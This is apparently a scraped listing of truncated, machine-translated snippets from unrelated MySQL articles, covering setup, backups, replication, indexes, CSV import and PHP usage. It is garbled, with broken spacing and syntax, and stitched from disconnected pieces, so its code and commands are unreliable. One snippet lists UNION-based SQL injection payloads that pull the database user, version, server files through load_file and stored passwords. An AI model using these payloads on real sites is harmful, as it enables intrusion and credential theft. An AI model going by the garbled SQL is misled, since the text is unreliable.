MySQL

1. Copy mysql. Data. DLL to the v6.5/bin folder under the codesmith installation directory. Note the dll version. 2. Because codesmith6.5 uses the. net4.0 configuration file, find c: \ windows \ Microsoft. NET \ framework \ v4.0.30319 \ config \

Generation principle, to generate a random number between the A-B (pure number ): Select floor (a + (RAND () * (B-A + 1 )))   MSSQL generates random numbers in batches:Select ceiling (100 * rand (checksum (newid () from Table1 Select floor (100 *

/** Declare a variable to save the SQL statement **/ declare v_ SQL varchar (500 ); /** initialize v_ SQL **/ set v_ SQL = 'call p_myprocedure (?) '; /** prepare the statement to be dynamically executed **/ set @ exesql = v_ SQL; /** prepare

ArticleDirectory 1. mysqldump 2. mysqlhotcopy 3. SQL syntax backup 4. Enable BINLOG) 5. Back up data files directly 6. Backup Policy 7. Data Maintenance and disaster recovery 8. Summary 1: Enter the MySQL

This article describes the installation method of the source code tarball, not the RPM installation method. To later use sphinx, install the MySQL sphinx engine during installation. Find the MySQL source code download from the MySQL official

1. images can be saved in MySQL using blob, mediumbolb, longblob, and other types. 2.different image file operations may vary, such as. BMP Images   ExampleCode: // Save the image to MySQL Private void btnopenfile_click (Object sender,

Table Creation Create Table mytbl (ID int auto_increment not null, name char (10) Not null, birth date not null, wight int, sex Enum ('F', 'M ')); Create a table for the specified Database Engine Create Table mytbl (ID int auto_increment not

Like% Indicates any occurrence of any character (except null) (0 -- infinite ). Note the case sensitivity. _ Indicates that any character appears 1 (not many or less) times Regular Expression ^ $.(Match any single character, including line breaks)

Use mysql-connector-net-5.1.7-noinstall   Web. Config File Settings     In the bin folder MySQL. Data. dll     Uniformly introduce Database Connection Files     Using system;Using system. Data;Using system. Data.

Currently writingProgramWhen dealing with MySQL, the problem is as follows: UpdateDealer_adminSetIs_super_admin=1 WhereIDIn(SelectIDFromDealer_adminGroup ByDealer_id ); In this case, the following message is reported: #1093-you can't specify

Find the MySQL installation directory Whereis MySQL   View the VaR directory   View MySQL Configuration Whereis my. CNF Or Mysql> show variables like '% log % ';   # Vi/etc/My. CNF[Mysqld]Wait_timeout =

Method 1: Use Mysqldrivercs-n-easyquerytools Http://sourceforge.net/project/showfiles.php? Group_id = 63165 & package_id = 60849 (Http://downloads.sourceforge.net/mysqldrivercs/MySQLDriverCS-n-EasyQueryTools-4.0.1-DotNet2.0.exe? Modtime = 11842812

Master/Slave Mode: Master server server1: 192.168.1.20 mydb, the database to be backed up by MySQL 5.0 Slave server server2: 192.168.1.22 MySQL 6.0 1. Back up existing data: It is best to stop MySQL service first Use the [mysqlhome]:

Indexes used in database development occupy a very important position. Good indexes will double the Read and Write efficiency of the database. Poor indexes will drag down the entire system and even lead to disasters. There are three types of

Import from a CSV file to MySQL: Load data infile 'e:/file.csv 'into Table t1character set gb2312fields terminated by', 'enabledby' "'Lines terminated by '\ r \ n' (column1, @ var1) set column2 = @ var1/100;   Export data from MySQL to a CSV file:

And 1 = 2 Union all select 1, 2, 3, user () And 1 = 2 Union all select 1, 2, 3, version () And 1 = 2 Union all select 1, 2, 3, database () And 1 = 2 Union all select 1, 2, 3, load_file (0x file path) And 1 = 2 Union all select 1, 2, 3, password from

It is found that the MySQL library in PHP is a function library rather than a class library which is organized in process-oriented form. Mysql_affected_rows -- gets the number of records affected by the previous MySQL operation

1.PHP Use of arrays inIn operationDatabaseWhen using the associated array (Associatively-indexed Arrays) Very helpful. Let's look at a basic number format array traversal:  $ Temp [0] = "Richmond ";  $ Temp [1] = "Tigers "; $ Temp [2] =

Documentation:   Sample enviroment:It's not simle to yours but I think it will work.Windows Server 2003 simple Chinese editionApache 2.2.11Php-5.2.8-Win32MySQL-5.1.31================== 0. Encoding Selection: UTF-8 or gb2312 or GBK.The UTF-8

When talking about the MySQL database, it seems that Java, JSP, or PHP are all Program MySQL databases can be used. Other programs use the ODBC driver provided by My SQL in. net can use something similar to JDBC. its name is mysqldrivercs. DLL. add